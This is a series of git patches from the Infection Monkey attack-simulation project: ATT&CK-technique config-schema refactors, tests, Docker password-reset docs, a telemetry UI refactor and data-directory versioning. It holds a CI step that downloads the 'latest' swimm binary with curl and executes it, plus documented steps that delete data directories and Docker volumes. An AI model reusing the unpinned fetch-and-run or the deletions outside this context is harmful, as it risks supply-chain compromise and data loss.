+++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -71,16 +71,59 @@ def fake_schema(): "property_type_1": { "title": "Property Type 1", "properties": { - "tab_1": { - "title": "Tab 1", + "category_1": { + "title": "Category 1", "properties": { "config_option_1": { "title": "Config Option 1", "related_attack_techniques": ["T0000"], }, }, - } + }, }, - } + }, + "property_type_2": { + "title": "Property Type 2", + "properties": { + "category_1": { + "title": "Category 1", + "properties": { + "config_option_1": { + "title": "Config Option 1", + "related_attack_techniques": ["T0000"], + }, + }, + }, + "category_2": { + "title": "Category 2", + "properties": { + "config_option_1": { + "title": "Config Option 1", + "properties": { + "config_option_1.1": { + "title": "Config Option 1.1", + "related_attack_techniques": ["T0000"], + }, + }, + }, + "config_option_2": { + "title": "Config Option 2", + "properties": { + "config_option_2.1": { + "title": "Config Option 2.1", + "properties": { + "config_option_2.1.1": { + "title": "Config Option 2.1.1", + "related_attack_techniques": ["T0000"], + } + }, + "related_attack_techniques": ["T0000"], + }, + }, + }, + }, + }, + }, + }, }, } From b6923edbe9804e376451b13f84ec01e6b43cd26b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 22:26:56 +0530 Subject: [PATCH 389/454] tests: Modify technique reports' tests --- .../test_technique_reports.py | 24 +++++++------------ 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 05f051ac2..1da9860b9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -8,18 +8,6 @@ from monkey_island.cc.services.attack.technique_reports.__init__ import ( disabled_msg, ) -FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { - "T0000": { - "Definition Type 1": ["Config Option 1", "Config Option 2"], - "Definition Type 2": ["Config Option 5", "Config Option 6"], - "Property Type 1": ["Config Option 1 (Tab 1)"], - }, - "T0001": { - "Definition Type 1": ["Config Option 1"], - "Definition Type 2": ["Config Option 5"], - }, -} - @pytest.fixture(scope="function", autouse=True) def mock_config_schema_per_attack_technique(monkeypatch, fake_schema): @@ -30,7 +18,7 @@ def mock_config_schema_per_attack_technique(monkeypatch, fake_schema): class FakeAttackTechnique_TwoRelevantSystems(AttackTechnique): - tech_id = "T0001" + tech_id = "T0000" relevant_systems = ["System 1", "System 2"] unscanned_msg = "UNSCANNED" scanned_msg = "SCANNED" @@ -44,8 +32,14 @@ class ExpectedMsgs_TwoRelevantSystems(Enum): UNSCANNED: str = ( "UNSCANNED due to one of the following reasons:\n" "- The following configuration options were disabled or empty:
    " - "- Definition Type 1 — Config Option 1
    " - "- Definition Type 2 — Config Option 5
    " + "- Definition Type 1 — Config Option 1, Config Option 2
    " + "- Definition Type 2 — Config Option 5, Config Option 6
    " + "- Property Type 1 -> Category 1 — Config Option 1
    " + "- Property Type 2 -> Category 1 — Config Option 1
    " + "- Property Type 2 -> Category 2 -> Config Option 1 — Config Option 1.1
    " + "- Property Type 2 -> Category 2 -> Config Option 2 — Config Option 2.1
    " + "- Property Type 2 -> Category 2 -> Config Option 2 -> Config Option 2.1 — Config Option " + "2.1.1
    " ) SCANNED: str = "SCANNED" USED: str = "USED" From 74095b6fc61a1436c07dae7a9766957899497036 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 14 Oct 2021 00:23:58 +0530 Subject: [PATCH 390/454] island: Modify logic for reverse schema generation recursion --- .../config_schema/config_schema_per_attack_technique.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index f6320f525..b945adbc8 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -47,8 +47,11 @@ def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_sch def _crawl_properties(config_option_path: str, config_option: Dict, reverse_schema: Dict): - config_option_path = " -> ".join([config_option_path, config_option["title"]]) - + config_option_path = ( + f"{config_option_path} -> {config_option['title']}" + if "title" in config_option + else config_option_path + ) for config_option_name in config_option.get("properties", []): new_config_option = config_option["properties"][config_option_name] _check_related_attack_techniques( @@ -69,7 +72,7 @@ def _check_related_attack_techniques( for attack_technique in config_option.get("related_attack_techniques", []): # No config values could be a reason that related attack techniques are left # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. - config_field = f"{config_option['title']}" + config_field = config_option["title"] _add_config_field_to_reverse_schema( config_option_path, config_field, attack_technique, reverse_schema ) From faa4c18cab95cb572b9e7c78fdd7b26ad845be75 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 14 Oct 2021 14:15:32 +0530 Subject: [PATCH 391/454] island: Create class for reverse schema generation to avoid output arguments --- .../attack/technique_reports/__init__.py | 6 +- .../config_schema_per_attack_technique.py | 141 +++++++++--------- 2 files changed, 71 insertions(+), 76 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 00df909f2..529cf7b95 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -9,7 +9,7 @@ from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.config_schema.config_schema_per_attack_technique import ( - get_config_schema_per_attack_technique, + ConfigSchemaPerAttackTechnique, ) logger = logging.getLogger(__name__) @@ -122,8 +122,8 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): return disabled_msg if status == ScanStatus.UNSCANNED.value: if not cls.config_schema_per_attack_technique: - cls.config_schema_per_attack_technique = get_config_schema_per_attack_technique( - SCHEMA + cls.config_schema_per_attack_technique = ( + ConfigSchemaPerAttackTechnique().get_config_schema_per_attack_technique(SCHEMA) ) unscanned_msg = cls._get_unscanned_msg_with_reasons( cls.unscanned_msg, cls.config_schema_per_attack_technique diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index b945adbc8..547161936 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -1,86 +1,81 @@ from typing import Dict, List -def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, List[str]]]: - """ - :return: dictionary mapping each attack technique to relevant config fields; example - - { - "T1003": { - "System Info Collectors": [ - "Mimikatz collector", - "Azure credential collector" - ] +class ConfigSchemaPerAttackTechnique: + def __init__(self) -> None: + self.reverse_schema = {} + + def get_config_schema_per_attack_technique( + self, schema: Dict + ) -> Dict[str, Dict[str, List[str]]]: + """ + :return: dictionary mapping each attack technique to relevant config fields; example - + { + "T1003": { + "System Info Collectors": [ + "Mimikatz collector", + "Azure credential collector" + ] + } } - } - """ - reverse_schema = {} + """ + self._crawl_config_schema_definitions_for_reverse_schema(schema) + self._crawl_config_schema_properties_for_reverse_schema(schema) - _crawl_config_schema_definitions_for_reverse_schema(schema, reverse_schema) - _crawl_config_schema_properties_for_reverse_schema(schema, reverse_schema) + return self.reverse_schema - return reverse_schema + def _crawl_config_schema_definitions_for_reverse_schema(self, schema: Dict): + definitions = schema["definitions"] + for definition in definitions: + definition_type = definitions[definition]["title"] + for field in definitions[definition].get("anyOf", []): + config_field = field["title"] + for attack_technique in field.get("attack_techniques", []): + self._add_config_field_to_reverse_schema( + definition_type, config_field, attack_technique + ) - -def _crawl_config_schema_definitions_for_reverse_schema(schema: Dict, reverse_schema: Dict): - definitions = schema["definitions"] - for definition in definitions: - definition_type = definitions[definition]["title"] - for field in definitions[definition].get("anyOf", []): - config_field = field["title"] - for attack_technique in field.get("attack_techniques", []): - _add_config_field_to_reverse_schema( - definition_type, config_field, attack_technique, reverse_schema + def _crawl_config_schema_properties_for_reverse_schema(self, schema: Dict): + properties = schema["properties"] + for prop in properties: + property_type = properties[prop]["title"] + for category_name in properties[prop].get("properties", []): + category = properties[prop]["properties"][category_name] + self._crawl_properties( + config_option_path=property_type, + config_option=category, ) - -def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_schema: Dict): - properties = schema["properties"] - for prop in properties: - property_type = properties[prop]["title"] - for category_name in properties[prop].get("properties", []): - category = properties[prop]["properties"][category_name] - _crawl_properties( - config_option_path=property_type, - config_option=category, - reverse_schema=reverse_schema, + def _crawl_properties(self, config_option_path: str, config_option: Dict): + config_option_path = ( + f"{config_option_path} -> {config_option['title']}" + if "title" in config_option + else config_option_path + ) + for config_option_name in config_option.get("properties", []): + new_config_option = config_option["properties"][config_option_name] + self._check_related_attack_techniques( + config_option_path=config_option_path, + config_option=new_config_option, ) + # check for "properties" and each property's related techniques recursively; + # the levels of nesting and where related techniques are declared won't + # always be fixed in the config schema + self._crawl_properties(config_option_path, new_config_option) -def _crawl_properties(config_option_path: str, config_option: Dict, reverse_schema: Dict): - config_option_path = ( - f"{config_option_path} -> {config_option['title']}" - if "title" in config_option - else config_option_path - ) - for config_option_name in config_option.get("properties", []): - new_config_option = config_option["properties"][config_option_name] - _check_related_attack_techniques( - config_option_path=config_option_path, - config_option=new_config_option, - reverse_schema=reverse_schema, - ) + def _check_related_attack_techniques(self, config_option_path: str, config_option: Dict): + for attack_technique in config_option.get("related_attack_techniques", []): + # No config values could be a reason that related attack techniques are left + # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. + config_field = config_option["title"] + self._add_config_field_to_reverse_schema( + config_option_path, config_field, attack_technique + ) - # check for "properties" and each property's related techniques recursively; - # the levels of nesting and where related techniques are declared won't - # always be fixed in the config schema - _crawl_properties(config_option_path, new_config_option, reverse_schema) - - -def _check_related_attack_techniques( - config_option_path: str, config_option: Dict, reverse_schema: Dict -): - for attack_technique in config_option.get("related_attack_techniques", []): - # No config values could be a reason that related attack techniques are left - # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. - config_field = config_option["title"] - _add_config_field_to_reverse_schema( - config_option_path, config_field, attack_technique, reverse_schema - ) - - -def _add_config_field_to_reverse_schema( - definition_type: str, config_field: str, attack_technique: str, reverse_schema: Dict -) -> None: - reverse_schema.setdefault(attack_technique, {}) - reverse_schema[attack_technique].setdefault(definition_type, []) - reverse_schema[attack_technique][definition_type].append(config_field) + def _add_config_field_to_reverse_schema( + self, definition_type: str, config_field: str, attack_technique: str + ) -> None: + self.reverse_schema.setdefault(attack_technique, {}) + self.reverse_schema[attack_technique].setdefault(definition_type, []) + self.reverse_schema[attack_technique][definition_type].append(config_field) From ae6ebcf3c79abaa86607dab1e9f8f04224fb5f57 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 14 Oct 2021 14:16:16 +0530 Subject: [PATCH 392/454] tests: Modify unit test for reverse schema generation --- .../test_config_schema_per_attack_technique.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py index 02010ac30..86383366e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.config_schema.config_schema_per_attack_technique import ( - get_config_schema_per_attack_technique, + ConfigSchemaPerAttackTechnique, ) REVERSE_FAKE_SCHEMA = { @@ -19,4 +19,7 @@ REVERSE_FAKE_SCHEMA = { def test_get_config_schema_per_attack_technique(monkeypatch, fake_schema): - assert get_config_schema_per_attack_technique(fake_schema) == REVERSE_FAKE_SCHEMA + assert ( + ConfigSchemaPerAttackTechnique().get_config_schema_per_attack_technique(fake_schema) + == REVERSE_FAKE_SCHEMA + ) From 6b672fb45100cbfecae46a3a7523bc73c1a04f6d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 13 Oct 2021 13:47:41 -0400 Subject: [PATCH 393/454] Docs: Reword password reset instructions * Write instuctions for Docker * Add a note to try deleting the entire data_directory --- docs/content/FAQ/_index.md | 57 +++++++++++++++++++++++++++++++++----- 1 file changed, 50 insertions(+), 7 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 52d888fca..ef25cc4f7 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -52,15 +52,17 @@ Monkey in the newly created folder. ## Reset/enable the Monkey Island password -When you first access the Monkey Island server, you'll be prompted to create an account. -To reset the credentials, edit the `server_config.json` file manually -(located in the [data directory]({{< ref "/reference/data_directory" >}})). {{% notice warning %}} If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost.

    However, you can save the Monkey's existing configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page. {{% /notice %}} +### On Windows and Linux (AppImage) + +When you first access the Monkey Island server, you'll be prompted to create an account. +To reset the credentials, edit the `server_config.json` file manually +(located in the [data directory]({{< ref "/reference/data_directory" >}})). In order to reset the credentials, the following edits need to be made: 1. Delete the `user` field. It will look like this: @@ -91,10 +93,51 @@ In order to reset the credentials, the following edits need to be made: ... } ``` - Then, reset the Monkey Island process. - On Linux, use `sudo systemctl restart monkey-island.service`. - On Windows, restart the program. - Finally, go to the Monkey Island's URL and create a new account. +1. Restart the Monkey Island process: + * On Linux, simply kill the Monkey Island process and execute the AppImage. + * On Windows, restart the program. + +1. Go to the Monkey Island's URL and create a new account. + +If you are still unable to log into Monkey Island after following the above +steps, you can perform a complete factory reset by removing the entire [data +directory]({{< ref "/reference/data_directory" >}}) and then restarting the +Monkey Island process. + +### On Docker +When you first access the Monkey Island server, you'll be prompted to create an account. +To reset the credentials, you'll need to perform a complete factory reset: + +1. Kill the Monkey Island container: + ```bash + sudo docker kill monkey-island + ``` +1. Kill the MongoDB container: + ```bash + sudo docker kill monkey-mongo + ``` +1. Remove the MongoDB volume: + ```bash + sudo docker volume rm db + ``` +1. Restart the MongoDB container: + ```bash + sudo docker run \ + --name monkey-mongo \ + --network=host \ + --volume db:/data/db \ + --detach \ + mongo:4.2 + ``` +1. Restart the Monkey Island container + ```bash + sudo docker run \ + --name monkey-island \ + --network=host \ + guardicore/monkey-island:VERSION + ``` +1. Go to the Monkey Island's URL and create a new account. + ## Should I run the Infection Monkey continuously? From 9215ed32ad41a759f40f34803e9d872419603f7e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Oct 2021 07:37:53 -0400 Subject: [PATCH 394/454] Travis: Download latest swimm from github --- .travis.yml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index d82232c4a..086f059c6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,9 +80,10 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.7-0/swimm-cli.js --output swimm_cli -- node swimm_cli --version -- node swimm_cli verify +- curl -L https://github.com/swimmio/SwimmReleases/releases/latest/download/packed-swimm-linux-cli --output swimm-cli +- chmod u+x swimm-cli +- ./swimm-cli --version +- ./swimm-cli verify after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information From 99c0288886ce64ca9b56b888d534e2f8c308987f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 14 Oct 2021 13:30:51 +0200 Subject: [PATCH 395/454] UI: Refactor Telemetry page --- .../ui/src/components/pages/TelemetryPage.js | 62 ++------------- .../ui-components/TelemetryLogTable.js | 75 +++++++++++++++++++ 2 files changed, 82 insertions(+), 55 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/TelemetryLogTable.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 85913b432..e0ea0221e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,58 +1,24 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; -import JSONTree from 'react-json-tree'; -import MUIDataTable from 'mui-datatables'; -import AuthComponent from '../AuthComponent'; +import AuthService from '../../services/AuthService'; import download from 'downloadjs'; +import TelemetryLogTable from '../ui-components/TelemetryLogTable' import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import '../../styles/pages/TelemetryPage.scss'; import {faDownload} from '@fortawesome/free-solid-svg-icons/faDownload'; -const renderJson = (val) => ; -const renderTime = (val) => val.split('.')[0]; -const columns = [ - {label: 'Time', name: 'timestamp'}, - {label: 'Monkey', name: 'monkey'}, - {label: 'Type', name: 'telem_category'}, - {label: 'Details', name: 'data', options: { setCellProps: () => ({ style: { width: '40%' }})}} -]; - -const table_options = { - filterType: 'textField', - sortOrder: { - name: 'timestamp', - direction: 'desc' - }, - print: false, - download: false, - rowHover: false, - rowsPerPage: 20, - rowsPerPageOptions: [20, 50, 100], - selectableRows: 'none' - }; - -class TelemetryPageComponent extends AuthComponent { +class TelemetryPageComponent extends React.Component { constructor(props) { super(props); + this.auth = new AuthService(); + this.authFetch = this.auth.authFetch; this.state = { - data: [], - isFetching: false + data: [] }; } - componentDidMount = () => { - this.authFetch('/api/telemetry') - .then(res => res.json()) - .then(res => {this.setState({data: res.objects}) - }) - .catch(e => { - console.log(e); - this.setState({...this.state}); - }); - }; - downloadIslandLog = () => { this.authFetch('/api/log/island/download') .then(res => res.json()) @@ -70,21 +36,7 @@ class TelemetryPageComponent extends AuthComponent { className={'main'}>

    Logs

    -
    - { - return [ - renderTime(item.timestamp), - item.monkey, - item.telem_category, - renderJson(item.data) - ] - }) - } - options={table_options} - /> -
    +

    Monkey Island Logs

    diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/TelemetryLogTable.js b/monkey/monkey_island/cc/ui/src/components/ui-components/TelemetryLogTable.js new file mode 100644 index 000000000..9823f7ffb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/TelemetryLogTable.js @@ -0,0 +1,75 @@ +import React from 'react'; +import JSONTree from 'react-json-tree'; +import MUIDataTable from 'mui-datatables'; +import AuthService from '../../services/AuthService'; +import '../../styles/pages/TelemetryPage.scss'; + +const renderJson = (val) => ; +const renderTime = (val) => val.split('.')[0]; + +const columns = [ + {label: 'Time', name: 'timestamp'}, + {label: 'Monkey', name: 'monkey'}, + {label: 'Type', name: 'telem_category'}, + {label: 'Details', + name: 'data', + options: { + setCellProps: () => ({ style: { width: '40%' }}), + filter:false, + sort:false + } + } +]; + +const table_options = { + filterType: 'textField', + sortOrder: { + name: 'timestamp', + direction: 'desc' + }, + print: false, + download: false, + rowHover: false, + rowsPerPageOptions: [10, 20, 50, 100], + selectableRows: 'none' +}; + +class TelemetryLogTable extends React.Component { + constructor(props) { + super(props); + this.auth = new AuthService(); + this.authFetch = this.auth.authFetch; + this.state = { + data: [] + }; + } + + componentDidMount = () => { + this.authFetch('/api/telemetry') + .then(res => res.json()) + .then(res => {this.setState({data: res.objects}) + }) + }; + + render() { + return ( + <> +
    + { + return [ + renderTime(item.timestamp), + item.monkey, + item.telem_category, + renderJson(item.data) + ]})} + options={table_options} + /> +
    + + ); + } +} + +export default TelemetryLogTable; From 6787cce1d0410d8436205f7c224f8e8daab41eb9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 14 Oct 2021 14:52:13 +0200 Subject: [PATCH 396/454] Zoo: Change API registration parameter --- .../monkey_zoo/blackbox/island_client/monkey_island_requests.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index f5ac59a1f..3f8efb227 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -75,7 +75,7 @@ class MonkeyIslandRequests(object): def try_set_island_to_credentials(self): resp = requests.post( # noqa: DUO123 self.addr + "api/registration", - json={"user": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, + json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) if resp.status_code == 400: From 9dad253fccee8374d63804e2c45b2dd7847f81cb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Oct 2021 09:53:50 +0300 Subject: [PATCH 397/454] Island: create data_dir.py where data dir setup logic will be held --- monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/cc/setup/config_setup.py | 16 ++++++++++++---- monkey/monkey_island/cc/setup/data_dir.py | 5 +++++ 3 files changed, 18 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/data_dir.py diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index fdb94b67f..e3e8462a8 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -61,7 +61,7 @@ def run_monkey_island(): def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: try: - return config_setup.setup_data_dir(island_args) + return config_setup.setup_server_config(island_args) except OSError as ex: print(f"Error opening server config file: {ex}") exit(1) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 3d241b748..ec9a1637d 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -4,11 +4,11 @@ from common.utils.file_utils import expand_path from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH -from monkey_island.cc.server_utils.file_utils import create_secure_directory +from monkey_island.cc.setup.data_dir import setup_data_dir from monkey_island.cc.setup.island_config_options import IslandConfigOptions -def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: +def setup_server_config(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: if island_args.server_config_path: return _setup_config_by_cmd_arg(island_args.server_config_path) @@ -18,7 +18,12 @@ def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: server_config_path = expand_path(server_config_path) config = server_config_handler.load_server_config_from_file(server_config_path) - create_secure_directory(str(config.data_dir)) + + # TODO refactor like in https://github.com/guardicore/monkey/pull/1528 because + # there's absolutely no reason to be exposed to IslandConfigOptions extraction logic + # if you want to modify data directory related code. + setup_data_dir(str(config.data_dir)) + return config, server_config_path @@ -26,7 +31,10 @@ def _setup_default_config() -> Tuple[IslandConfigOptions, str]: default_config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH) default_data_dir = default_config.data_dir - create_secure_directory(str(default_data_dir)) + # TODO refactor like in https://github.com/guardicore/monkey/pull/1528 because + # there's absolutely no reason to be exposed to IslandConfigOptions extraction logic + # if you want to modify data directory related code. + setup_data_dir(str(default_data_dir)) server_config_path = server_config_handler.create_default_server_config_file(default_data_dir) config = server_config_handler.load_server_config_from_file(server_config_path) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py new file mode 100644 index 000000000..c95bc897d --- /dev/null +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -0,0 +1,5 @@ +from monkey_island.cc.server_utils.file_utils import create_secure_directory + + +def setup_data_dir(path: str): + create_secure_directory(path) From e77ed9769b7250ec7ecdbf9b5b02f284a09b2282 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Oct 2021 17:00:26 +0300 Subject: [PATCH 398/454] Island: expand data directory setup process with workflow that drops a version file or cleans the directory if it's outdated Version file is needed in the data directory to know if data directory is from an earlier version --- monkey/monkey_island/cc/setup/data_dir.py | 43 ++++++++++++- .../cc/setup/version_file_setup.py | 21 +++++++ .../monkey_island/cc/setup/test_data_dir.py | 60 +++++++++++++++++++ 3 files changed, 122 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/version_file_setup.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index c95bc897d..d4d176ba7 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -1,5 +1,44 @@ +import logging +import shutil + +from common.version import get_version from monkey_island.cc.server_utils.file_utils import create_secure_directory +from monkey_island.cc.setup.version_file_setup import ( + get_version_from_dir, + is_version_greater, + write_version, +) + +logger = logging.getLogger(__name__) -def setup_data_dir(path: str): - create_secure_directory(path) +def setup_data_dir(data_dir_path: str): + logger.info("Setting up data directory.") + _reset_data_dir(data_dir_path) + create_secure_directory(data_dir_path) + write_version(data_dir_path) + logger.info("Data directory set up.") + + +def _reset_data_dir(data_dir_path: str): + try: + data_dir_version = get_version_from_dir(data_dir_path) + except FileNotFoundError: + logger.info("Version file not found on the data directory.") + _remove_data_dir(data_dir_path) + return + + island_version = get_version() + logger.info(f"Version found in the data directory: {data_dir_version}") + logger.info(f"Currently running version: {island_version}") + if is_version_greater(island_version, data_dir_version): + _remove_data_dir(data_dir_path) + + +def _remove_data_dir(data_dir_path: str): + logger.info("Attempting to remove data directory.") + try: + shutil.rmtree(data_dir_path) + logger.info("Data directory removed.") + except FileNotFoundError: + logger.info("Data directory not found, nothing to remove.") diff --git a/monkey/monkey_island/cc/setup/version_file_setup.py b/monkey/monkey_island/cc/setup/version_file_setup.py new file mode 100644 index 000000000..ac45c201b --- /dev/null +++ b/monkey/monkey_island/cc/setup/version_file_setup.py @@ -0,0 +1,21 @@ +from pathlib import Path + +from packaging import version + +from common.version import get_version + +_version_filename = "VERSION" + + +def get_version_from_dir(dir_path: str) -> str: + version_file_path = Path(dir_path, _version_filename) + return version_file_path.read_text() + + +def write_version(dir_path: str): + version_file_path = Path(dir_path, _version_filename) + version_file_path.write_text(get_version()) + + +def is_version_greater(version1: str, version2: str) -> bool: + return version.parse(version1) > version.parse(version2) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py new file mode 100644 index 000000000..81ed1f51d --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -0,0 +1,60 @@ +from pathlib import Path + +import pytest + +from monkey_island.cc.setup.data_dir import setup_data_dir +from monkey_island.cc.setup.version_file_setup import _version_filename + +current_version = "1.1.1" +old_version = "1.1.0" + + +@pytest.fixture(autouse=True) +def mock_version(monkeypatch): + monkeypatch.setattr("monkey_island.cc.setup.data_dir.get_version", lambda: current_version) + monkeypatch.setattr( + "monkey_island.cc.setup.version_file_setup.get_version", lambda: current_version + ) + + +@pytest.fixture +def mocked_data_dir_path(tmpdir) -> Path: + return Path(tmpdir, "data_dir") + + +@pytest.fixture +def mocked_version_file_path(mocked_data_dir_path: Path) -> Path: + return mocked_data_dir_path.joinpath(_version_filename) + + +def test_setup_data_dir(mocked_data_dir_path, mocked_version_file_path): + data_dir_path = mocked_data_dir_path + setup_data_dir(str(data_dir_path)) + assert data_dir_path.is_dir() + + version_file_path = mocked_version_file_path + assert version_file_path.read_text() == current_version + + +def test_old_version_present(mocked_data_dir_path, mocked_version_file_path): + mocked_data_dir_path.mkdir() + mocked_version_file_path.write_text(old_version) + bogus_file_path = mocked_data_dir_path.joinpath("test.txt") + bogus_file_path.touch() + + # mock version + setup_data_dir(str(mocked_data_dir_path)) + + assert mocked_version_file_path.read_text() == current_version + assert not bogus_file_path.is_file() + + +def test_data_dir_setup_not_needed(mocked_data_dir_path, mocked_version_file_path): + mocked_data_dir_path.mkdir() + mocked_version_file_path.write_text(current_version) + bogus_file_path = mocked_data_dir_path.joinpath("test.txt") + bogus_file_path.touch() + + setup_data_dir(str(mocked_data_dir_path)) + assert mocked_version_file_path.read_text() == current_version + assert bogus_file_path.is_file() From 15949a9ed586a8e5a1ca22b2cba72d0450b2770f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Oct 2021 16:08:20 +0300 Subject: [PATCH 399/454] Monkey island: change the methods in data_dir.py and version_file_setup.py to handle Path rather than str. --- monkey/monkey_island/cc/setup/config_setup.py | 4 ++-- monkey/monkey_island/cc/setup/data_dir.py | 7 ++++--- monkey/monkey_island/cc/setup/version_file_setup.py | 8 ++++---- .../unit_tests/monkey_island/cc/setup/test_data_dir.py | 6 +++--- 4 files changed, 13 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index ec9a1637d..b1e76b51d 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -22,7 +22,7 @@ def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, s # TODO refactor like in 